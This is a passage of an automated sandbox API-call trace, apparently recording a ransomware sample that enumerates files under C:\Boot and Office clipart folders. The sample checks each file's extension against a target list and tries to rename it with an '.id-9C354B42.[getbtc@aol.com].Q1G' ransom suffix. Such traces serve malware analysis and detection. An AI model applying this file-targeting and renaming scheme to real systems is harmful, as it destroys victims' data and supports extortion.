(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF") returned 63 [0266.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF") returned 63 [0266.078] lstrlenW (lpString=".doc") returned 4 [0266.078] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.078] lstrlenW (lpString=".docx") returned 5 [0266.078] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0266.078] lstrlenW (lpString=".pdf") returned 4 [0266.078] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.078] lstrlenW (lpString=".xls") returned 4 [0266.078] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.078] lstrlenW (lpString=".xlsx") returned 5 [0266.078] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0266.078] lstrlenW (lpString=".ppt") returned 4 [0266.078] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF") returned 63 [0266.078] lstrlenW (lpString=".zip") returned 4 [0266.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.078] lstrlenW (lpString=".rar") returned 4 [0266.078] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.078] lstrlenW (lpString=".bz2") returned 4 [0266.078] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.078] lstrlenW (lpString=".7z") returned 3 [0266.078] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF") returned 63 [0266.079] lstrlenW (lpString=".dbf") returned 4 [0266.079] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF") returned 63 [0266.079] lstrlenW (lpString=".1cd") returned 4 [0266.079] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF") returned 63 [0266.079] lstrlenW (lpString=".jpg") returned 4 [0266.079] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.079] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0266.079] lstrlenW (lpString="J0198494.WMF") returned 12 [0266.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 77 os_tid = 0x634 [0235.782] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10000) returned 0x3a50070 [0235.782] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10000) returned 0x3a60078 [0235.783] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x5813a8 [0235.783] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x6) returned 0x57ef98 [0235.783] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x581558 [0235.783] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x100000) returned 0x3ec0020 [0235.783] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x581570 [0235.783] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x581570, Size=0x20) returned 0x59eab8 [0235.783] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x581570 [0235.783] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x581570, Size=0x20) returned 0x59eae0 [0235.783] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c10000 [0235.783] GetProcAddress (hModule=0x76c10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c3d650 [0235.784] Wow64DisableWow64FsRedirection (in: OldValue=0x32dff58 | out: OldValue=0x32dff58*=0x0) returned 1 [0235.784] lstrlenW (lpString="kernel32.dll") returned 12 [0235.784] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x59eab8 | out: hHeap=0x530000) returned 1 [0235.784] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0235.784] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x59eae0 | out: hHeap=0x530000) returned 1 [0235.784] Sleep (dwMilliseconds=0x64) [0235.987] lstrcmpiW (lpString1=".LOG2", lpString2=".Q1G") returned -1 [0235.987] lstrlenW (lpString="BCD.LOG2") returned 8 [0235.987] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0236.084] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=0) returned 1 [0236.084] CloseHandle (hObject=0x224) returned 1 [0236.084] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0236.084] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0236.084] lstrlenW (lpString=".doc") returned 4 [0236.084] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0236.085] lstrlenW (lpString=".docx") returned 5 [0236.085] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0236.085] lstrlenW (lpString=".pdf") returned 4 [0236.085] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0236.085] lstrlenW (lpString=".xls") returned 4 [0236.085] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0236.085] lstrlenW (lpString=".xlsx") returned 5 [0236.085] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0236.085] lstrlenW (lpString=".ppt") returned 4 [0236.085] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0236.085] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0236.085] lstrlenW (lpString=".zip") returned 4 [0236.085] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0236.085] lstrlenW (lpString=".rar") returned 4 [0236.085] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0236.085] lstrlenW (lpString=".bz2") returned 4 [0236.085] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0236.085] lstrlenW (lpString=".7z") returned 3 [0236.085] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0236.085] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0236.085] lstrlenW (lpString=".dbf") returned 4 [0236.085] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0236.085] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0236.085] lstrlenW (lpString=".1cd") returned 4 [0236.085] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0236.085] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0236.085] lstrlenW (lpString=".jpg") returned 4 [0236.085] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0236.085] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0236.085] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0236.085] lstrlenW (lpString=".doc") returned 4 [0236.085] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0236.085] lstrlenW (lpString=".docx") returned 5 [0236.085] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0236.085] lstrlenW (lpString=".pdf") returned 4 [0236.086] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0236.086] lstrlenW (lpString=".xls") returned 4 [0236.086] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0236.086] lstrlenW (lpString=".xlsx") returned 5 [0236.086] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0236.086] lstrlenW (lpString=".ppt") returned 4 [0236.086] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0236.086] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0236.086] lstrlenW (lpString=".zip") returned 4 [0236.086] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0236.086] lstrlenW (lpString=".rar") returned 4 [0236.086] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0236.086] lstrlenW (lpString=".bz2") returned 4 [0236.086] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0236.086] lstrlenW (lpString=".7z") returned 3 [0236.086] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0236.086] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0236.086] lstrlenW (lpString=".dbf") returned 4 [0236.086] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0236.086] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0236.086] lstrlenW (lpString=".1cd") returned 4 [0236.086] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0236.086] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0236.086] lstrlenW (lpString=".jpg") returned 4 [0236.086] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0236.086] lstrcmpiW (lpString1=".ttf", lpString2=".Q1G") returned 1 [0236.086] lstrlenW (lpString="kor_boot.ttf") returned 12 [0236.086] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x280 [0236.175] GetFileSizeEx (in: hFile=0x280, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=2371360) returned 1 [0236.175] CloseHandle (hObject=0x280) returned 1 [0236.175] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0236.175] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0236.175] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0236.176] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0236.176] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0236.176] lstrlenW (lpString=".doc") returned 4 [0236.176] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0236.176] lstrlenW (lpString=".docx") returned 5 [0236.176] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0236.176] lstrlenW (lpString=".pdf") returned 4 [0236.176] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0236.176] lstrlenW (lpString=".xls") returned 4 [0236.176] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0236.176] lstrlenW (lpString=".xlsx") returned 5 [0236.176] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0236.176] lstrlenW (lpString=".ppt") returned 4 [0236.176] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0236.176] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0236.176] lstrlenW (lpString=".zip") returned 4 [0236.176] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0236.176] lstrlenW (lpString=".rar") returned 4 [0236.176] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0236.176] lstrlenW (lpString=".bz2") returned 4 [0236.176] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0236.176] lstrlenW (lpString=".7z") returned 3 [0236.176] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0236.176] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0236.176] lstrlenW (lpString=".dbf") returned 4 [0236.176] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0236.176] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0236.176] lstrlenW (lpString=".1cd") returned 4 [0236.176] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0236.176] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0236.176] lstrlenW (lpString=".jpg") returned 4 [0236.176] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0236.176] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0236.177] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0236.177] lstrlenW (lpString=".doc") returned 4 [0236.177] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0236.177] lstrlenW (lpString=".docx") returned 5 [0236.177] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0236.177] lstrlenW (lpString=".pdf") returned 4 [0236.177] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0236.177] lstrlenW (lpString=".xls") returned 4 [0236.177] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0236.177] lstrlenW (lpString=".xlsx") returned 5 [0236.177] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0236.177] lstrlenW (lpString=".ppt") returned 4 [0236.177] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0236.177] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0236.177] lstrlenW (lpString=".zip") returned 4 [0236.177] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0236.177] lstrlenW (lpString=".rar") returned 4 [0236.177] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0236.177] lstrlenW (lpString=".bz2") returned 4 [0236.177] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0236.177] lstrlenW (lpString=".7z") returned 3 [0236.177] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0236.177] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0236.177] lstrlenW (lpString=".dbf") returned 4 [0236.177] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0236.177] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0236.177] lstrlenW (lpString=".1cd") returned 4 [0236.177] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0236.177] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0236.177] lstrlenW (lpString=".jpg") returned 4 [0236.177] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0236.177] lstrcmpiW (lpString1=".mui", lpString2=".Q1G") returned -1 [0236.177] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0236.177] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x280 [0236.178] GetFileSizeEx (in: hFile=0x280, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=93248) returned 1 [0236.178] CloseHandle (hObject=0x280) returned 1 [0236.178] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0236.178] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0236.178] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.178] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0236.178] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0236.178] lstrlenW (lpString=".doc") returned 4 [0236.178] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0236.178] lstrlenW (lpString=".docx") returned 5 [0236.178] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0236.178] lstrlenW (lpString=".pdf") returned 4 [0236.178] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0236.178] lstrlenW (lpString=".xls") returned 4 [0236.178] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0236.178] lstrlenW (lpString=".xlsx") returned 5 [0236.178] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0236.178] lstrlenW (lpString=".ppt") returned 4 [0236.178] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0236.178] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0236.178] lstrlenW (lpString=".zip") returned 4 [0236.178] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0236.178] lstrlenW (lpString=".rar") returned 4 [0236.178] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0236.179] lstrlenW (lpString=".bz2") returned 4 [0236.179] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0236.179] lstrlenW (lpString=".7z") returned 3 [0236.179] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0236.179] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0236.179] lstrlenW (lpString=".dbf") returned 4 [0236.179] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0236.179] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0236.179] lstrlenW (lpString=".1cd") returned 4 [0236.179] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0236.179] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0236.179] lstrlenW (lpString=".jpg") returned 4 [0236.179] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0236.179] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0236.179] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0236.179] lstrlenW (lpString=".doc") returned 4 [0236.179] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0236.179] lstrlenW (lpString=".docx") returned 5 [0236.179] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0236.179] lstrlenW (lpString=".pdf") returned 4 [0236.179] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0236.179] lstrlenW (lpString=".xls") returned 4 [0236.179] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0236.179] lstrlenW (lpString=".xlsx") returned 5 [0236.179] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0236.179] lstrlenW (lpString=".ppt") returned 4 [0236.179] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0236.179] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0236.179] lstrlenW (lpString=".zip") returned 4 [0236.179] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0236.179] lstrlenW (lpString=".rar") returned 4 [0236.179] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0236.179] lstrlenW (lpString=".bz2") returned 4 [0236.179] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0236.179] lstrlenW (lpString=".7z") returned 3 [0236.179] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0236.179] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0236.180] lstrlenW (lpString=".dbf") returned 4 [0236.180] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0236.180] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0236.180] lstrlenW (lpString=".1cd") returned 4 [0236.180] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0236.180] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0236.180] lstrlenW (lpString=".jpg") returned 4 [0236.180] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0236.180] lstrcmpiW (lpString1=".mui", lpString2=".Q1G") returned -1 [0236.180] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0236.180] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x280 [0236.180] GetFileSizeEx (in: hFile=0x280, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=90688) returned 1 [0236.180] CloseHandle (hObject=0x280) returned 1 [0236.180] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0236.180] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0236.180] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.180] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0236.180] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0236.180] lstrlenW (lpString=".doc") returned 4 [0236.181] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0236.181] lstrlenW (lpString=".docx") returned 5 [0236.181] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0236.181] lstrlenW (lpString=".pdf") returned 4 [0236.181] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0236.181] lstrlenW (lpString=".xls") returned 4 [0236.181] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0236.181] lstrlenW (lpString=".xlsx") returned 5 [0236.181] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0236.181] lstrlenW (lpString=".ppt") returned 4 [0236.181] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0236.181] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0236.181] lstrlenW (lpString=".zip") returned 4 [0236.181] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0236.181] lstrlenW (lpString=".rar") returned 4 [0236.181] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0236.181] lstrlenW (lpString=".bz2") returned 4 [0236.181] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0236.181] lstrlenW (lpString=".7z") returned 3 [0236.181] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0236.181] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0236.181] lstrlenW (lpString=".dbf") returned 4 [0236.181] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0236.181] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0236.181] lstrlenW (lpString=".1cd") returned 4 [0236.181] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0236.181] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0236.181] lstrlenW (lpString=".jpg") returned 4 [0236.181] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0236.181] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0236.181] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0236.181] lstrlenW (lpString=".doc") returned 4 [0236.181] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0236.181] lstrlenW (lpString=".docx") returned 5 [0236.181] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0236.181] lstrlenW (lpString=".pdf") returned 4 [0236.181] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0236.181] lstrlenW (lpString=".xls") returned 4 [0236.182] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0236.182] lstrlenW (lpString=".xlsx") returned 5 [0236.182] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0236.182] lstrlenW (lpString=".ppt") returned 4 [0236.182] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0236.182] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0236.182] lstrlenW (lpString=".zip") returned 4 [0236.182] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0236.182] lstrlenW (lpString=".rar") returned 4 [0236.182] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0236.182] lstrlenW (lpString=".bz2") returned 4 [0236.182] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0236.182] lstrlenW (lpString=".7z") returned 3 [0236.182] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0236.182] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0236.182] lstrlenW (lpString=".dbf") returned 4 [0236.182] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0236.182] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0236.182] lstrlenW (lpString=".1cd") returned 4 [0236.182] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0236.182] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0236.182] lstrlenW (lpString=".jpg") returned 4 [0236.182] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0236.182] lstrcmpiW (lpString1=".mui", lpString2=".Q1G") returned -1 [0236.182] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0236.182] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x280 [0236.182] GetFileSizeEx (in: hFile=0x280, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=90704) returned 1 [0236.183] CloseHandle (hObject=0x280) returned 1 [0236.183] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0236.183] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0236.183] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.183] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0236.183] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0236.183] lstrlenW (lpString=".doc") returned 4 [0236.183] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 